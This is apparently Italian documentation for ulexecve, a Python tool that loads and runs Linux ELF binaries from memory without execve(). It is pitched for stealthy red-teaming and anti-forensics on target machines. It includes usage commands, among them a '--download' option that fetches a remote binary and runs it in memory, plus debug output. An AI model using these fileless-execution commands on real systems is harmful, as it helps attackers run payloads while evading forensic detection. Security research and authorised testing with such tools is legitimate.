anvilsecure/ulexecveEsegue binari ELF arbitrari direttamente dalla memoria su Linux senza toccare il disco, consentendo operazioni stealth di red-teaming e anti-forensi tramite un singolo script Python.
Esegui binari ELF Linux compilati staticamente o dinamicamente senza mai chiamare execve().
cat /bin/echo | ulexecve - hello
hello
Questo strumento Python si chiama ulexecve e sta per userland execve. Aiuta a eseguire binari ELF arbitrari su sistemi Linux dallo spazio utente senza mai chiamare la systemcall execve(). In altre parole: puoi eseguire binari arbitrari direttamente dalla memoria senza mai doverli scrivere su disco. Ciò è molto utile dal punto di vista anti-forense o di red-teaming e ti consente di muoverti in modo più furtivo pur continuando a rilasciare binari compilati sulle macchine target. Lo strumento funziona su CPython 3.x e CPython 2.7 (e possibilmente versioni precedenti) sulle piattaforme Linux supportate (x86, x86-64 e aarch64). Sono supportati sia binari ELF statici che compilati dinamicamente. Ovviamente ci sarà sempre un piccolo sottoinsieme di binari che potrebbero non funzionare o causare un crash, e per questi è implementato un metodo di fallback affidabile al 100% basato sulla moderna systemcall memfd_create().
Gli strumenti Linux per userland execve hanno una storia che risale a circa due decenni fa. I primi articoli solidi su questo argomento sono stati scritti da the grugq in The Design and Implementation of Userland Exec [1] e un altro articolo in Phrack 62 [2]. Le tecniche anti-forensi per eseguire binari direttamente dalla memoria sono abbastanza standard. Il mettle di Rapid7, ad esempio, ha una libreria chiamata libreflect che include un'utilità noexec che tenta anche di eseguire un ELF tramite sola riflessione. Tuttavia, questo strumento è scritto in C e ha il requisito implicito di dover trasferire il binario noexec sul sistema target e di essere in grado di eseguirlo.
Negli ambienti container moderni questo non è sempre più possibile. Tuttavia, molti ambienti container contengono un'installazione Python. Avere la possibilità di scaricare semplicemente uno script Python tramite curl o simili su una macchina target e poi essere in grado di eseguire questo script per eseguire furtivamente binari arbitrari è molto utile dal punto di vista anti-forense.
Questo è anche il motivo per cui lo strumento è implementato tutto in un unico file. Questo dovrebbe renderlo più facile da scaricare sui sistemi target senza doversi preoccupare di installare altre dipendenze prima di poterlo eseguire. Lo strumento è testato con Python 2.7 anche se questa versione di Python è deprecata. Ci sono ancora molti sistemi con versioni 2.x, quindi è utile.
Non esistevano altre buone implementazioni di execve() in Python nello spazio utente. C'è SELF [3] che non era ampiamente documentato, mancava di opzioni di debug facili, ma soprattutto non funzionava affatto. L'implementazione di ulexecve è stata scritta da zero. Analizza il file ELF, carica e analizza anche il linker dinamico (se necessario), mappa tutti i segmenti in memoria e infine costruisce un buffer di salto contenente istruzioni CPU per trasferire il controllo dal processo Python direttamente al binario appena caricato.
Tutta la logica comune di parsing ELF, impostazione dello stack, mappatura dei segmenti ELF e impostazione dei buffer di salto è astratta, quindi è abbastanza facile (nell'ordine di un paio d'ore) portarlo su un'altra CPU. Portarlo su altre piattaforme basate su ELF come i BSD potrebbe essere un po' più complesso, ma dovrebbe comunque essere abbastanza semplice. Per maggiori informazioni su come fare, basta controllare i commenti nel codice.
Si noti che è un obiettivo esplicito di progettazione non avere dipendenze esterne e avere tutto implementato in un unico file di codice sorgente. Se hai bisogno di creare payload più piccoli, dovrebbe essere abbastanza banale rimuovere il supporto per certi tipi di CPU o eliminare tutte le informazioni di debug e altre opzioni.
Sebbene ciò abbia poco senso dal punto di vista anti-forense, lo strumento è installabile tramite pip.
pip install ulexecve
ulexecve --help
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
Lo strumento supporta completamente eseguibili statici e compilati dinamicamente. Basta passare il nome del file del binario a ulexecve e qualsiasi argomento desideri fornire al binario. L'ambiente verrà copiato direttamente dall'ambiente in cui esegui ulexecve.
ulexecve /bin/ls -lha
Puoi fargli leggere un binario da stdin se specifichi - come nome del file.
cat /bin/ls | ulexecve - -lha
Per scaricare un binario in memoria ed eseguirlo immediatamente, puoi usare --download. Questo interpreterà l'argomento del nome file come un URI.
ulexecve --download http://host/binary
Per il debug sono disponibili diverse opzioni. Se ottieni un crash, puoi mostrare le informazioni di debug tramite --debug, lo stack costruito tramite --show-stack e il buffer di salto generato --show-jumpbuf. L'opzione --jump-delay è molto utile se vuoi analizzare e mappare correttamente un ELF e poi collegare un debugger per scorrere il buffer di salto e il binario eseguito per trovare la causa del crash.
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
argv
00000000: 0x0000000000000002
00000008: 0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245: 00 00 00
248: 4c 01 d9 add %r11,%rcx
24b: 48 31 d2 xor %rdx,%rdx
24e: ff e1 jmpq *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
C'è sempre l'opzione --fallback. Non è così furtiva come analizzare e mappare i binari nello spazio utente da soli. Il metodo di fallback utilizza memfd_create() e fexecve() ma dovrebbe funzionare al 100% delle volte per eseguire binari statici o dinamici arbitrari. Ovviamente a condizione che i binari forniti siano quelli giusti per la piattaforma su cui ti trovi.
Ovviamente puoi sempre imbatterti in binari che non verranno eseguiti correttamente. Tuttavia, questa implementazione è abbastanza pulita e ben testata (include test unitari per binari statici e dinamici, eseguibili compilati con PIE ed eseguibili con diversi runtime come Rust o Go). Per la maggior parte degli strumenti e binari sulle piattaforme menzionate, dovrebbe funzionare. Ma i risultati possono variare. I binari prodotti da packer di installazione che incorporano altre informazioni all'interno degli ELF potrebbero non funzionare correttamente a seconda dei trucchi di auto-referenziamento che utilizzano. Tuttavia, per i binari PyInstaller è stato aggiunto un fallback specifico a ulexecve.
I binari creati con PyInstaller non funzioneranno direttamente. Questi binari richiedono un file di pacchetto di accompagnamento o, nella maggior parte dei casi, incorporano all'interno dell'ELF i dati extra necessari per decomprimere ed eseguire correttamente dopo aver avviato l'interprete Python incorporato. Ciò significa che non possono essere fatti funzionare correttamente. Ci sono alcuni modi per aggirare questo problema. Un modo semplice, che potrebbe funzionare in un sottoinsieme di casi reali, presuppone che esista un filesystem temporaneo scrivibile. Quindi sostituiamo la stringa /proc/self/exe nel binario con /tmp/xxxx. Dopodiché carichiamo il binario in memoria tramite memfd_create() e quindi puntiamo il collegamento simbolico a /tmp/xxxx verso /proc/<pid>/fd/<fd> al file in memoria. Per provare questa opzione usa --pyi-fallback. Se hai bisogno di specificare una directory temporanea diversa, usa --tmpdir. Si prega di notare che il percorso risultante, inclusa la tmpdir, deve avere esattamente lo stesso numero di byte della stringa /proc/self/exe (14 byte), quindi percorsi più lunghi non funzioneranno.
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h | ./ulexecve.py --pyi-fallback -
hello
Quando si porta su una piattaforma diversa, assicurati che tutti i pochi test unitari funzionino. Basta eseguire il file ./test.py incluso sulla piattaforma target e correggere tutto finché tutti questi test non hanno successo di nuovo.
Invia una pull request tramite github, pubblica un problema nel tracker dei problemi o semplicemente invia un'email a [email protected].
"The Design and Implementation of Userland Exec", di the grugq.
"FIST! FIST! FIST! Its all in the wrist: Remote Exec", di grugq, Phrack 62-0x08, 2004-07-13.
Implementation of SELF in Python, di Maciej Kotowicz (mak).